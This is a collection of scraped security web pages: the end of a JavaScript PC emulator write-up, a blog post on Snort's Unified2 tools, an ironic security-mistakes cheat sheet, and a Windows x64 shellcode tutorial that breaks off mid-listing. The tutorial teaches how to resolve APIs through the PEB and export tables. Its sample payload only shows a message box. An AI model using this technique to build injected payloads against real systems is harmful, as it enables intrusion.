a faster boot. It is generated with "objcopy -O binary vmlinux vmlinux.bin".

The disk image is just a ram disk image loaded at boot time. It contains a
filesystem generated with Buildroot containing BusyBox. I added my toy C
compiler TinyCC and my unfinished but usable emacs clone QEmacs.

### Javascript

I happen to be interested by the implementation of Javascript engines these
days - but I don't know yet if I will write my own any time soon \! Anyway,
this emulator was a way to learn how to write optimized code for recent
Javascript engines, in particular Jaeger Monkey \(for Firefox 4\) and V8 \(for
Chrome\).

A troubling thing is that the PC emulator is about 2 times slower using V8
than Jaeger Monkey \(I used the 32 bit version for both\). I have no precise
explanation yet because I only looked at the Jeager Monkey code so far.

### What's the use ?

I did it for fun, just because newer Javascript Engines are fast enough to do
complicated things. Real use could be:

  * Benchmarking of Javascript engines \(how much time takes your Javascript engine to boot Linux ?\). For this particular application, efficient handling of 32 bit signed and unsigned integers and of typed arrays is important.
  * Client side processing using an x86 library, for example for cryptographic purposes. For such application, the x86 emulator can be modified to provide an API to load x86 dynamic libraries and to provide a js-ctypes like API to call the C/C++ functions from javascript.
  * A more advanced version would allow to use old DOS PC software such as games.

\[Back to the PC emulator\]

# TaoSecurity: Two New Tools in Snort

**Created:**| _11/11/2010 8:54:16 AM_  
---|---  
**Updated:**| _11/11/2010 8:54:32 AM_  
**Author:**| __  
**Tags:**| _packet-analysis iDS/iPS_  
  

## Wednesday, November 10, 2010

### Two New Tools in Snort

No sooner do I get Snort 2.9.0.1 running than something breaks. However,
thanks to Niels Horn I know a little more about two new tools included with
Snort.  
  
First is u2spewfoo, which reads Unified2 output files and outputs them as
text.  

[code]

      
    [sguil@r200a /nsm/r200a]$ u2spewfoo snort.unified2.1289360307  | head -20  
      
    (Event)  
     sensor id: 0 event id: 1 event second: 1289360859 event microsecond: 881345  
     sig id: 2011032 gen id: 1 revision: 4  classification: 3  
     priority: 2 ip source: 192.168.2.107 ip destination: 172.16.2.1  
     src port: 44597 dest port: 3128 protocol: 6 impact_flag: 0 blocked: 0  
      
    Packet  
     sensor id: 0 event id: 1 event second: 1289360859  
     packet second: 1289360859 packet microsecond: 881345  
     linktype: 1 packet_length: 1168  
    00 15 17 0B | 7D 4C 00 13 | 10 65 2F AC | 08 00 45 00   
    04 82 C2 E3 | 40 00 3F 06 | 03 6E C0 A8 | 02 6B AC 10   
    02 01 AE 35 | 0C 38 73 6F | 02 7F 12 37 | D9 A8 80 18   
    03 EA 6D 85 | 00 00 01 01 | 08 0A 01 2A | 34 44 75 11   
    33 8C 41 46 | 69 72 73 74 | 25 32 43 25 | 32 30 49 25   
    32 30 74 65 | 73 74 65 64 | 25 32 30 6D | 79 25 32 30   
    6F 6C 64 25 | 32 30 73 63 | 72 69 70 74 | 73 25 32 30   
    6F 6E 25 32 | 30 46 72 65 | 65 42 53 44 | 25 32 30 37   
    2E 78 25 32 | 43 25 32 30 | 61 6E 64 25 | 32 30 6E 6F   
    
    
[/code]

  
I guess that's good for troubleshooting. It feels a little like 1999\!  
  
The second tool is u2boat, which transforms the pcap data in a Unified2 output
file into a normal pcap file.  

[code]

      
    [sguil@r200a /nsm/r200a]$ u2boat snort.unified2.1289360307          
    Usage: u2boat [-t type]    
    [sguil@r200a /nsm/r200a]$ u2boat snort.unified2.1289360307 snort.unified2.1289360307.pcap  
    Defaulting to pcap output.  
    [sguil@r200a /nsm/r200a]$ file snort.unified2.1289360307.pcap  
    snort.unified2.1289360307.pcap: tcpdump capture file (little-endian)  
     - version 2.4 (Ethernet, capture length 65535)  
    [sguil@r200a /nsm/r200a]$ tcpdump -n -r snort.unified2.1289360307.pcap  
    reading from file snort.unified2.1289360307.pcap, link-type EN10MB (Ethernet)  
    22:47:39.881345 IP 192.168.2.107.44597 > 172.16.2.1.3128: Flags [P.],  
     ack 305650088, win 1002, options [nop,nop,TS val 19543108 ecr 1964061580], length 1102  
    
    
[/code]

  
So those are great, but fortunately unless I fix Barnyard2 or a fix is
committed, Barnyard2 is going to die when it encounters record types from
Snort that Barnyard2 doesn't recognize, e.g.:  

[code]

      
    r200a# barnyard2 -U -d /nsm/r200a -f snort.unified2 -c /usr/local/etc/nsm/barnyard2.conf  
    Running in Continuous mode  
      
            --== Initializing Barnyard2 ==--  
    Initializing Input Plugins!  
    Initializing Output Plugins!  
    Parsing config file "/usr/local/etc/nsm/barnyard2.conf"  
    Log directory = /var/log/barnyard2  
    sguil:  sensor name = r200a  
    sguil:  agent port =  7735  
    sguil:  Connected to localhost on 7735.  
      
            --== Initialization Complete ==--  
      
      ______   -*> Barnyard2 <*-  
     / ,,_  \  Version 2.1.8 (Build 251)  
     |o"  )~|  By the SecurixLive.com Team: http://www.securixlive.com/about.php  
     + '''' +  (C) Copyright 2008-2010 SecurixLive.  
      
               Snort by Martin Roesch & The Snort Team: http://www.snort.org/team.html  
               (C) Copyright 1998-2007 Sourcefire Inc., et al.  
      
    Using waldo file '/nsm/r200a/waldo':  
        spool directory = /nsm/r200a  
        spool filebase  = snort.unified2  
        time_stamp      = 1289360307  
        record_idx      = 4  
    Opened spool file '/nsm/r200a/snort.unified2.1289360307'  
    ERROR: Unknown record type read: 110  
    Fatal Error, Quitting..  
    
    
[/code]

  
The good news is the alerts will continue to be logged to disk, and can be
processed once Barnyard2 can read them.  
Tweet

# Lenny Zeltser - How to Suck at Information Security

**Created:**| _5/9/2009 10:40:36 AM_  
---|---  
**Updated:**| _5/9/2009 10:40:42 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# How to Suck at Information Security

This cheat sheet presents common information security mistakes, so you can
avoid making them. Yeah, the idea is that you should do the opposite of what
it says below.

To print, use the one-sheet PDF version; you can also edit the Word version
for you own needs.

## Security Policy and Compliance

Ignore regulatory compliance requirements.

Assume the users will read the security policy because you've asked them to.

Use security templates without customizing them.

Jump into a full-blown adoption of frameworks such as ISO 27001/27002 before
you're ready.

Create security policies you cannot enforce.

Enforce policies that are not properly approved.

Blindly follow compliance requirements without creating overall security
architecture.

Create a security policy just to mark a checkbox.

Pay someone to write your security policy without any knowledge of your
business or processes.

Translate policies in a multi-language environment without consistent meaning
across the languages.

Make sure none of the employees finds the policies.

Assume that if the policies worked for you last year, they'll be valid for the
next year.

Assume that being compliant means you're secure.

Assume that policies don't apply to executives.

Hide from the auditors.

## Security Tools

Deploy a security product out of the box without tuning it.

Tune the IDS to be too noisy, or too quiet.

Buy security products without considering the maintenance and implementation
costs.

Rely on anti-virus and firewall products without having additional controls.

Run regular vulnerability scans, but don’t follow through on the results.

Let your anti-virus, IDS, and other security tools run on "auto-pilot."

Employ multiple security technologies without understanding how each of them
contributes.

Focus on widgets, while omitting to consider the importance of maintaining
accountability.

Buy expensive product when a simple and cheap fix may address 80% of the
problem.

## Risk Management

Attempt to apply the same security rigor to all IT assets, regardless of their
risk profiles.

Make someone responsible for managing risk, but don't give the person any
power to make decisions.

Ignore the big picture while focusing on quantitative risk analysis.

Assume you don't have to worry about security, because your company is too
small or insignificant.

Assume you're secure because you haven’t been compromised recently.

Be paranoid without considering the value of the asset or its exposure factor.

Classify all data assets as "top secret."

## Security Practices

Don't review system, application, and security logs.

Expect end-users to forgo convenience in place of security.

Lock down the infrastructure so tightly, that getting work done becomes very
difficult.

Say "no" whenever asked to approve a request.

Impose security requirements without providing the necessary tools and
training.

Focus on preventative mechanisms while ignoring detective controls.

Have no DMZ for Internet-accessible servers.

Assume your patch management process is working, without checking on it.

Delete logs because they get too big to read.

Expect SSL to address all security problems with your web application.

Ban the use of external USB drives while not restricting outbound access to
the Internet.

Act superior to your counterparts on the network, system admin, and
development teams.

Stop learning about technologies and attacks.

Adopt hot new IT or security technologies before they have had a chance to
mature.

Hire somebody just because he or she has a lot of certifications.

Don't apprise your manager of the security problems your efforts have avoided.

Don't cross-train the IT and security staff.

## Password Management

Require your users to change passwords too frequently.

Expect your users to remember passwords without writing them down.

Impose overly-onerous password selection requirements.

Use the same password on systems that differ in risk exposure or data
criticality.

Impose password requirements without considering the ease with which a
password could be reset.

## More Security Mistakes

The Ten Dumbest Things People Do to Mess Up Their Computer

10 Common Security Mistakes That Should Never Be Made

Mistakes People Make that Lead to Security Breaches

## Post-Scriptum

Special thanks for feedback and contributions from SANS Internet Storm Center
handlers. If you have suggestions for improving this cheat sheet, please let
me know.

This cheat sheet is distributed according to the Creative Commons v3
"Attribution" License. File version 1.2.

Take a look at my other security cheat sheets.

  

**About the Author:** Lenny Zeltser leads the security consulting practice at
Savvis. His team provides security assessments, design, and operational
assistance for business-critical IT infrastructure. Lenny also teaches malware
analysis at SANS Institute, explores security topics at conferences and in
articles, and volunteers as an incident handler at the Internet Storm Center.

# Windows x64 Shellcode | McDermott Cybersecurity
**Created:**| _2/8/2012 1:34:31 PM_  
---|---  
**Updated:**| _2/8/2012 1:35:01 PM_  
**Author:**| __  
**Tags:**| _shellcode windows x64_  
  

McDermott Cybersecurity

Skip to content

<img src='img/Temp2_9932.png' width='780' height='100' alt='McDermott
Cybersecurity' />

  * Home
  * About
  * Articles
  * Contact
  * 

← Windows Assembly Languages

64-bit Device Driver Development →

##  Windows x64 Shellcode

January 11, 2011

### Contents

  * Introduction
  * RIP-Relative Addressing
  * API Lookup Overview
  * API Lookup Demo
  * The Code
  * Building
  * Testing
  * Comments
  * Mitigations

### Introduction

_Shellcode_ refers to a chunk of executable machine code \(along with any
associated data\) which is executed after being injected into the memory of a
process usually by means of a buffer-overflow type of security vulnerability.
The term comes from the fact that in early exploits against Unix platforms, an
attacker would typically execute code that would start a command shell
listening on a TCP/IP port, to which the attacker could then connect and have
full access to the system. For the common web-browser and application exploits
on Windows today, the “shellcode” is more likely to download and execute
another program than spawn a command shell, but the term remains.

In general, shellcode can be thought of as any code that is capable of being
executed from an arbitrary location in memory and without relying on services
provided by the operating system loader as with traditional executables.
Depending on the exploit, additional requirements for shellcode may include
small size and avoiding certain byte patterns in the code. In any case, there
are two tasks performed by the loader which shellcode must take care of
itself:

  1. Getting the addresses of data elements \(such as strings referenced by the code\)
  2. Getting the addresses of system API functions used

This article describes a shellcode implementation of the x64 assembly program
from my Windows Assembly Languages article \(refer to that article for general
x64 assembly programming issues such as calling conventions and stack usage\).
As you’ll see, the main program code doesn’t look much different. Task \#1
above actually turns out to be a non-issue on x64 platforms due to a new
feature called _RIP-relative addressing._ Task \#2 is what comprises the bulk
of the effort. In fact, the code for looking up API functions is significantly
larger and more complex than the main program itself. The only other
difference between the vanilla and shellcode versions of x64 hello world is
that the shellcode does not use a **.data** section, instead placing the
strings in the **.code** section after **main**. This is because “sections”
are a feature of the executable file format, whereas shellcode needs to be
just a single block of code and data.

### RIP-Relative Addressing

_RIP_ refers to the instruction pointer register on x64, and RIP-relative
addressing means that references to memory addresses being read or written can
be encoded as offsets from the currently-executing instruction. This is not a
completely new concept, as **jmp** and **call** instructions have always
supported relative targets on x86, but the ability to**read and write** memory
using relative addressing is new with x64.

On x86, the labels referring to data variables would be replaced with actual
hard-coded memory addresses when the program was assembled and linked, under
the assumption that the program would be loaded at a specific base address. If
at runtime the program needed to load at a different base address, the loader
would perform _relocation_ by updating all of those hard-coded addresses.
Because shellcode needed to run from anywhere in memory, it needed to
determine these addresses dynamically and typically used a trick where the
call instruction would push the address just past itself onto the stack as the
return address. This “return address” could then be popped off the stack to
get a pointer to the string at runtime:

[code]

        call skip
        db ‘Hello world’, 0
    skip:
        pop esi      ;esi now points to ‘Hello world’ string
[/code]

On x64 we do not need this trick. RIP-relative addressing is not only
supported but is in fact the default, so we can simply refer to strings using
labels as with ordinary code and it Just Works™.

### API Lookup Overview

Even the most trivial programs generally need to call various operating system
API functions to perform some of type of input/output \(I/O\) – displaying
things to the user, accessing files, making network connections, etc. On
Windows these API functions are implemented in various system DLLs, and in
standard application development these API functions can simply be referred to
by name. When the program is compiled and linked, the linker puts information
in the resulting executable indicating which functions from which DLLs are
required. When the program is run, the loader ensures that the necessary DLLs
are loaded and that the addresses of the called functions are resolved.

Windows also provides another facility that can be used by applications to
load additional DLLs and look up functions on demand: the **LoadLibrary\(\)**
and **GetProcAddress\(\)** APIs in kernel32.dll. Not having the benefit of the
loader, shellcode needs to use LoadLibrary\(\) and GetProcAddress\(\) for all
API functions it uses. This unfortunately presents a Catch-22: How does the
shellcode get the addresses of LoadLibrary\(\) and GetProcAddress\(\)?

It turns out that an equivalent to GetProcAddress\(\) can be implemented by
traversing the data structures of a loaded DLL in memory. Also, kernel32.dll
is always loaded in the address space of every process on Windows, so
LoadLibrary\(\) can be found there and used to load other DLLs.

Developing shellcode using this technique requires a solid understanding of
the Portable Executable \(PE\) file format used on Windows for EXE and DLL
files, and the next section of this article assumes some familiarity. The
following references and tools may be helpful:

  * Matt Pietrek’s _An In-Depth Look into the Win32 Portable Executable File Format:_part1 and part2. Note that this only covers 32-bit and not 64-bit PE files, but the differences are very minor – mostly just widening some memory address fields to 64 bits
  * The offical Microsoft Portable Executable and Common Object File Format Specification
  * Daniel Pistelli’s CFF Explorer is a nice GUI tool for viewing and editing PE files, with 64-bit support
  * The dumpbin utility included with Visual C++ \(including Express Edition\) – the most useful switches for our purposes are /headers and /exports
  * Many of the PE data structures are documented in MSDN under ImageHlp Structures
  * Definitions of the data structures can be found in **winnt.h** in the **Include** directory of the Windows SDK
  * The **dt** command in WinDbg is able to display many of these structures

### API Lookup Demo

This demonstration of how to find the address of a function in a loaded DLL
can be followed by attaching WinDbg to any 64-bit process \(I’m using
notepad.exe\). Note that the particular values seen here may be different on
your system.

First we’ll get the address of the Thread Environment Block \(TEB\), sometimes
also referred to as the Thread Information Block \(TIB\). The TEB contains a
large number of fields pertaining to the current thread, and on x64 the fields
can be accessed as offsets from the GS segment register during program
execution \(the FS register was used on x86\). In WinDbg, the pseudo register
$teb contains the address of the TEB.

[code]

    0:001> **r $teb**
    $teb=000007fffffdb000
    0:001> **dt _TEB @$teb**
    ntdll!_TEB
       +0x000 NtTib            : _NT_TIB
       +0x038 EnvironmentPointer : (null)
       +0x040 ClientId         : _CLIENT_ID
       +0x050 ActiveRpcHandle  : (null)
       +0x058 ThreadLocalStoragePointer : (null)
       +0x060 **ProcessEnvironmentBlock** : **0x000007ff`fffdd000** _PEB
       +0x068 LastErrorValue   : 0
       [...]
[/code]

The only field from the TEB we are interested in is the pointer to the Process
Environment Block \(PEB\). Note that WinDbg also has a $peb pseudo-register,
but in the shellcode implementation we will have to use the GS register to go
through the TEB first.

[code]

    0:001> **dt _PEB 7ff`fffdd000**
    ntdll!_PEB
       +0×000 InheritedAddressSpace : 0 ''
       +0×001 ReadImageFileExecOptions : 0 ''
       +0×002 BeingDebugged    : 0×1 ''
       +0×003 BitField         : 0×8 ''
       +0×003 ImageUsesLargePages : 0y0
       +0×003 IsProtectedProcess : 0y0
       +0×003 IsLegacyProcess  : 0y0
       +0×003 IsImageDynamicallyRelocated : 0y1
       +0×003 SkipPatchingUser32Forwarders : 0y0
       +0×003 SpareBits        : 0y000
       +0×008 Mutant           : 0xffffffff`ffffffff Void
       +0×010 ImageBaseAddress : 0×00000000`ff8b0000 Void
       +0×018 **Ldr**              : **0×00000000`779a3640** _PEB_LDR_DATA
       [...]
[/code]

The PEB contains numerous fields with process-specific data and we are
interested in the Ldr field at offset 0×18 which points to a structure of type
PEB\_LDR\_DATA.

[code]

    0:001> **dt _PEB_LDR_DATA 779a3640**
    ntdll!_PEB_LDR_DATA
       +0×000 Length           : 0×58
       +0×004 Initialized      : 0×1 ''
       +0×008 SsHandle         : (null)
       +0×010 **InLoadOrderModuleList** : _LIST_ENTRY [ 0x00000000`00373040 - 0x39a3b0 ]
       +0×020 **InMemoryOrderModuleList** : _LIST_ENTRY [ 0x00000000`00373050 - 0x39a3c0 ]
       +0×030 **InInitializationOrderModuleList** : _LIST_ENTRY [ 0x00000000`00373150 - 0x39a3d0 ]
       +0×040 EntryInProgress  : (null)
       +0×048 ShutdownInProgress : 0 ''
       +0×050 ShutdownThreadId : (null)
[/code]

The PEB\_LDR\_DATA structure contains three linked lists of loaded modules –
InLoadOrderModuleList, InMemoryOrderModuleList, and
InInitializationOrderModuleList. A _module_ or _image_ refers to any PE file
in memory – the main program executable as well as any currently-loaded DLLs.
All three lists contain the same elements just in a different order, with the
one exception that InInitializationOrderModuleList only contains DLLs and
excludes the main executable.

The elements of these lists are of type LDR\_DATA\_TABLE\_ENTRY, though you
can’t tell from the previous output because they are only shown as LIST\_ENTRY
which is the generic linked list header datatype used throughout Windows. A
LIST\_ENTRY simply consists of a forward and back pointer for creating
circular, doubly-linked lists. The address of the \_LIST\_ENTRY within the
\_PEB\_LDR\_DATA structure represents the _list head._ When traversing the
circular list, arriving back at the list head is the way to know when
complete.

[code]

    0:001> **dt _LIST_ENTRY**
    ntdll!_LIST_ENTRY
       +0×000 Flink            : Ptr64 _LIST_ENTRY
       +0×008 Blink            : Ptr64 _LIST_ENTRY
[/code]

The **\!list** command provides the ability to traverse these types of lists
and execute a specific command for each element in the list \(in this case
displaying the element as an LDR\_DATA\_TABLE\_ENTRY data structure\). WinDbg
commands can get nasty-looking sometimes but are quite powerful. Here we
display the InLoadOrderModuleList with list head at offset **0×10** from the
beginning of the PEB\_LDR\_DATA structure \(very long output truncated to show
just part of one element\):

[code]

    0:001> **!list -t ntdll!_LIST_ENTRY.Flink -x "dt _LDR_DATA_TABLE_ENTRY @$extret" 779a3640+10**
       [...]
    ntdll!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`00333620 - 0x333130 ]
       +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`00333630 - 0x333140 ]
       +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`003344e0 - 0x333640 ]
       +0x030 **DllBase**          : 0x00000000`77650000 Void
       +0x038 EntryPoint       : 0x00000000`7766eff0 Void
       +0x040 SizeOfImage      : 0x11f000
       +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\system32\kernel32.dll"
       +0x058 **BaseDllName**      : _UNICODE_STRING "kernel32.dll"
       +0x068 Flags            : 0x84004
       [...]
[/code]

Interesting fields for us within an LDR\_DATA\_TABLE\_ENTRY structure are
DllBase at 0×30 and BaseDllName at 0×58. Note that BaseDllName is a
UNICODE\_STRING, which is an actual data structure and not simply a null-
terminated Unicode string. The actual string data can be found at offset 0×8
in the structure, for a total of 0×60 from BaseDllName.

[code]

    0:001> **dt _UNICODE_STRING**
    ntdll!_UNICODE_STRING
       +0×000 Length           : Uint2B
       +0×002 MaximumLength    : Uint2B
       +0×008 Buffer           : Ptr64 Uint2B
[/code]

Armed with this knowledge, we now have the ability to obtain the base address
of any DLL given it’s name. Once we have the base address we can traverse the
DLL in memory to locate any function exported by the DLL. Also note that the
return value of LoadLibrary\(\) is in fact a DLL base address. The base
address of a loaded DLL can also be obtained in WinDbg with the **lm**
command. Let’s take a look at kernel32.dll:

[code]

    0:001> **lm m kernel32**
    start             end                 module name
    **00000000`77650000** 00000000`7776f000   kernel32   (deferred)
[/code]

An interesting feature of the PE file and loader is that the PE file format in
memory is exactly the same as it is on disk, at least as far as the headers.
It’s not exactly true that the entire file is read verbatim into memory,
because each section is loaded at a certain byte alignment in memory
\(typically a multiple of 4096, the virtual memory page size\) that may be
different from where it falls in the file. Also, some sections \(like a debug
data section\) may not be read into memory at all. However, when we look at
the DLL base address in memory, we can expect to find what we see at the
beginning of any PE file: a DOS “MZ” header. That’s an IMAGE\_DOS\_HEADER
structure to be exact:

[code]

    0:001> **dt _IMAGE_DOS_HEADER 77650000**
    ntdll!_IMAGE_DOS_HEADER
       +0×000 e_magic          : 0x5a4d
       +0×002 e_cblp           : 0×90
       +0×004 e_cp             : 3
       +0×006 e_crlc           : 0
       +0×008 e_cparhdr        : 4
       +0x00a e_minalloc       : 0
       +0x00c e_maxalloc       : 0xffff
       +0x00e e_ss             : 0
       +0×010 e_sp             : 0xb8
       +0×012 e_csum           : 0
       +0×014 e_ip             : 0
       +0×016 e_cs             : 0
       +0×018 e_lfarlc         : 0×40
       +0x01a e_ovno           : 0
       +0x01c e_res            : [4] 0
       +0×024 e_oemid          : 0
       +0×026 e_oeminfo        : 0
       +0×028 e_res2           : [10] 0
       +0x03c **e_lfanew**         : **0n224**
[/code]

The e\_lfanew field at 0x3c \(which for some reason is displayed as a decimal
number even though everything else is hex\) contains the byte offset to the NT
header \(IMAGE\_NT\_HEADERS64\). Converting 224 to hex **0xe0** and adding to
the image base will point to the NT header at **0x776500e0**. We can use the
**–r** option \(recursive\) to expand the embedded OptionalHeader field
\(which is a misnomer as it is required and always present\):

[code]

    0:001> **dt -r _IMAGE_NT_HEADERS64 776500e0**
    ntdll!_IMAGE_NT_HEADERS64
       +0×000 Signature        : 0×4550
       +0×004 FileHeader       : _IMAGE_FILE_HEADER
          +0×000 Machine          : 0×8664
          +0×002 NumberOfSections : 6
          +0×004 TimeDateStamp    : 0x4a5bdfdf
          +0×008 PointerToSymbolTable : 0
          +0x00c NumberOfSymbols  : 0
          +0×010 SizeOfOptionalHeader : 0xf0
          +0×012 Characteristics  : 0×2022
       +0×018 **OptionalHeader**   : _IMAGE_OPTIONAL_HEADER64
          +0×000 Magic            : 0x20b
          +0×002 MajorLinkerVersion : 0×9 ''
          +0×003 MinorLinkerVersion : 0 ''
          [...]
          +0×068 LoaderFlags      : 0
          +0x06c NumberOfRvaAndSizes : 0×10
          +0×070 **DataDirectory**    : [16] _IMAGE_DATA_DIRECTORY
          [...]
[/code]

The DataDirectory field is located a total of **0×88** bytes from the NT
headers \(offset **0×70** from OptionalHeader which is **0×18** from the NT
headers\). This is an array of 16 elements corresponding to the various types
of data in a PE file.

[code]

    0:001> **dt -a16c _IMAGE_DATA_DIRECTORY 776500e0+88**
    ntdll!_IMAGE_DATA_DIRECTORY
    [0] @ 0000000077650168 +0×000 VirtualAddress **0xa0020**  +0×004 Size **0xac33**
    [1] @ 0000000077650170 +0×000 VirtualAddress 0xf848c  +0×004 Size 0x1f4
    [2] @ 0000000077650178 +0×000 VirtualAddress 0×116000  +0×004 Size 0×520
    [3] @ 0000000077650180 +0×000 VirtualAddress 0x10c000  +0×004 Size 0×9810
    [4] @ 0000000077650188 +0×000 VirtualAddress 0  +0×004 Size 0
    [5] @ 0000000077650190 +0×000 VirtualAddress 0×117000  +0×004 Size 0x7a9c
    [6] @ 0000000077650198 +0×000 VirtualAddress 0x9b7dc  +0×004 Size 0×38
    [7] @ 00000000776501a0 +0×000 VirtualAddress 0  +0×004 Size 0
    [8] @ 00000000776501a8 +0×000 VirtualAddress 0  +0×004 Size 0
    [9] @ 00000000776501b0 +0×000 VirtualAddress 0  +0×004 Size 0
    [10] @ 00000000776501b8 +0×000 VirtualAddress 0  +0×004 Size 0
    [11] @ 00000000776501c0 +0×000 VirtualAddress 0x2d8  +0×004 Size 0×408
    [12] @ 00000000776501c8 +0×000 VirtualAddress 0x9c000  +0×004 Size 0x1c70
    [13] @ 00000000776501d0 +0×000 VirtualAddress 0  +0×004 Size 0
    [14] @ 00000000776501d8 +0×000 VirtualAddress 0  +0×004 Size 0
    [15] @ 00000000776501e0 +0×000 VirtualAddress 0  +0×004 Size 0
[/code]

We are interested in the Export Directory which is the first one in the list
having VirtualAddress **0xa0020** and Size **0xac33**. See the MSDN
documentation of the IMAGE\_DATA\_DIRECTORY structure for a reference on which
type of data goes with each array element.

A virtual address, also called a _Relative Virtual Address \(RVA\)_ is an
offset from the base load address of the module. RVAs are used extensively in
PE files, including for the pointers to the function names and function
addresses in the export table. To get the actual memory address pointed to by
an RVA, simply add the base address of the module.

\(For convenience, note that the **\!dh** command can be used to automatically
display much of the PE header information we’ve extracted manually so far.\)

Given that the Export Directory begins at RVA **0xa0020** , we add the base
address **0×77650000** and should therefore expect to find an
IMAGE\_EXPORT\_DIRECTORY structure at **0x776f0020**. Unfortunately
IMAGE\_EXPORT\_DIRECTORY is not understood by the **dt** command or documented
in MSDN, so we will have to refer to the structure definition in winnt.h:

?

`typedef` `struct` `_IMAGE_EXPORT_DIRECTORY {`` ``DWORD` `Characteristics;``
``DWORD` `TimeDateStamp;`` ``WORD` `MajorVersion;`` ``WORD` `MinorVersion;``
``DWORD` `Name;`` ``DWORD` `Base;`` ``DWORD` `NumberOfFunctions;`` ``DWORD`
`NumberOfNames;`` ``DWORD` `AddressOfFunctions; ``// RVA from base of image``
``DWORD` `AddressOfNames; ``// RVA from base of image`` ``DWORD`
`AddressOfNameOrdinals; ``// RVA from base of image``} IMAGE_EXPORT_DIRECTORY,
*PIMAGE_EXPORT_DIRECTORY;`  
---  
The best we can do in WinDbg is display the structure as an array of DWORDs
and count where things fall using the above structure as a reference.

[code]

    0:001> **dd 776f0020**
    00000000`776f0020  00000000 4a5bc32c 00000000 000a366c
    00000000`776f0030  00000001 0000056a 0000056a **000a0048**
    00000000`776f0040  **000a15f0** **000a2b98** 000aa10b 000aa12c
    [...]
[/code]

Beginning with the 8th DWORD within the structure we will find
AddressOfFunctions \(**0xa0048**\), followed by AddressOfNames \(**0xa15f0\)**
and AddressOfNameOrdinals \(**0xa2b98**\). These values are RVAs – when we add
the DLL base address we will get the memory address of the array. When working
with RVAs a lot it can be handy to stash the DLL base address in a pseudo-
register because it will be used so frequently. Here is AddressOfNames:

[code]

    0:001> **r $t0=77650000**
    0:001> **dd @$t0+a15f0**
    00000000`776f15f0  **000a3679** 000a3691 000a36a6 000a36b5
    00000000`776f1600  000a36be 000a36c7 000a36d8 000a36e9
    00000000`776f1610  000a370f 000a372e 000a374d 000a375a
    [...]
[/code]

This is an array of RVAs pointing to the function name strings \(the size of
the array is given by the NumberOfNames field in IMAGE\_EXPORT\_DIRECTORY\).
Take a look at the first one \(adding DLL base address of course\) and we see
the name of a function exported from kernel32.dll.

[code]

    0:001> **da @$t0+a3679**
    00000000`776f3679  "AcquireSRWLockExclusive"
[/code]

We can ultimately find the address of a function based on the array index of
where the name is found in this array. The AddressOfNameOrdinals array is a
parallel array to AddressOfNames, which contains the _ordinal values_
associated with each name. An ordinal value is the index which is finally used
to look up the function address in the AddressOfFunctions array. \(DLLs have
the option of exporting functions by ordinal only without even having a
function name, and in fact the GetProcAddress\(\) API can be called with a
numeric ordinal instead of a string name\).

More often than not, the value in each slot of the AddressOfNameOrdinals array
has the same value as its array index but this is not guaranteed. Note that
AddressOfNameOrdinals is an array of WORDs, not DWORDs. In this case it
appears to follow the pattern of each element having the same value as its
index.

[code]

    0:001> **dw @$t0+a2b98**
    00000000`776f2b98  0000 0001 0002 0003 0004 0005 0006 0007
    00000000`776f2ba8  0008 0009 000a 000b 000c 000d 000e 000f
    00000000`776f2bb8  0010 0011 0012 0013 0014 0015 0016 0017
    [...]
[/code]

Once we have the ordinal number of a function, the ordinal is used as an index
into the AddressOfFunctions array:

[code]

    0:001> **dd @$t0+a0048**
    00000000`776f0048  **000aa10b** 000aa12c **000044b0** 00066b20
    00000000`776f0058  00066ac0 0006ad90 0006ae00 0004b7d0
    00000000`776f0068  000956e0 0008fbb0 00048cc0 0004b800
    [...]
[/code]

The interpretation of the values in this array depends on whether the function
is forwarded. _Export Forwarding_ is a mechanism by which a DLL can declare
that an exported function is actually implemented in a different DLL. If the
function is not forwarded, the value is an RVA pointing to the actual function
code. If the function is forwarded, the RVA points to an ASCII string giving
the target DLL and function name. You can tell in advance if a function is
forwarded based on the range of the RVA – the function is forwarded if the RVA
falls within the export directory \(as given by the VirtualAdress and Size in
the IMAGE\_DATA\_DIRECTORY entry\).

You can practically see at a glance which RVAs above are in the vicinity of
the export directory addresses we’ve been working with. The first element in
the array corresponds to our old friend AcquireSRWLockExclusive which we can
see is forwarded to another function in NTDLL:

[code]

    0:001> **da @$t0+aa10b**
    00000000`776fa10b  "NTDLL.RtlAcquireSRWLockExclusive"
    00000000`776fa12b  ""
[/code]

The third array element, on the other hand, is not forwarded and points
directly to the executable code of ActivateActCtx:

[code]

    0:001> **u @$t0+44b0**
    kernel32!ActivateActCtx:
    00000000`776544b0 4883ec28        sub     rsp,28h
    00000000`776544b4 4883f9ff        cmp     rcx,0FFFFFFFFFFFFFFFFh
    [...]
[/code]

We now have all of the understanding we need to get the address of a function
and it’s just a matter of implementing the above steps in code.

### The Code

_Updated 11/10/2011 – thanks toDidier Stevens for pointing out a bug in the
error handling._

?

`;shell64.asm``;License: MIT (http://www.opensource.org/licenses/mit-
license.php)` ` ``.code` `;note: ExitProcess is forwarded``main proc`` ``sub
rsp, 28h ;reserve stack space for called functions`` ``and rsp,
0fffffffffffffff0h ;make sure stack 16-byte aligned ` ` ``lea rdx,
loadlib_func`` ``lea rcx, kernel32_dll`` ``call lookup_api ;get address of
LoadLibraryA`` ``mov r15, rax ;save for later use with forwarded exports` `
``lea rcx, user32_dll`` ``call rax ;load user32.dll` ` ``lea rdx,
msgbox_func`` ``lea rcx, user32_dll`` ``call lookup_api ;get address of
MessageBoxA` ` ``xor r9, r9 ;MB_OK`` ``lea r8, title_str ;caption`` ``lea rdx,
hello_str ;Hello world`` ``xor rcx, rcx ;hWnd (NULL)`` ``call rax ;display
message box` ` ``lea rdx, exitproc_func`` ``lea rcx, kernel32_dll`` ``call
lookup_api ;get address of ExitProcess` ` ``xor rcx, rcx ;exit code zero``
``call rax ;exit` `main endp` `kernel32_dll db 'KERNEL32.DLL', 0``loadlib_func
db 'LoadLibraryA', 0``user32_dll db 'USER32.DLL', 0``msgbox_func db
'MessageBoxA', 0``hello_str db 'Hello world', 0``title_str db 'Message',
0``exitproc_func db 'ExitProcess', 0` `;look up address of function from DLL
export table``;rcx=DLL name string, rdx=function name string``;DLL name must
be in uppercase``;r15=address of LoadLibraryA (optional, needed if export is
forwarded)``;returns address in rax``;returns 0 if DLL not loaded or exported
function not found in DLL``lookup_api proc`` ``sub rsp, 28h ;set up stack
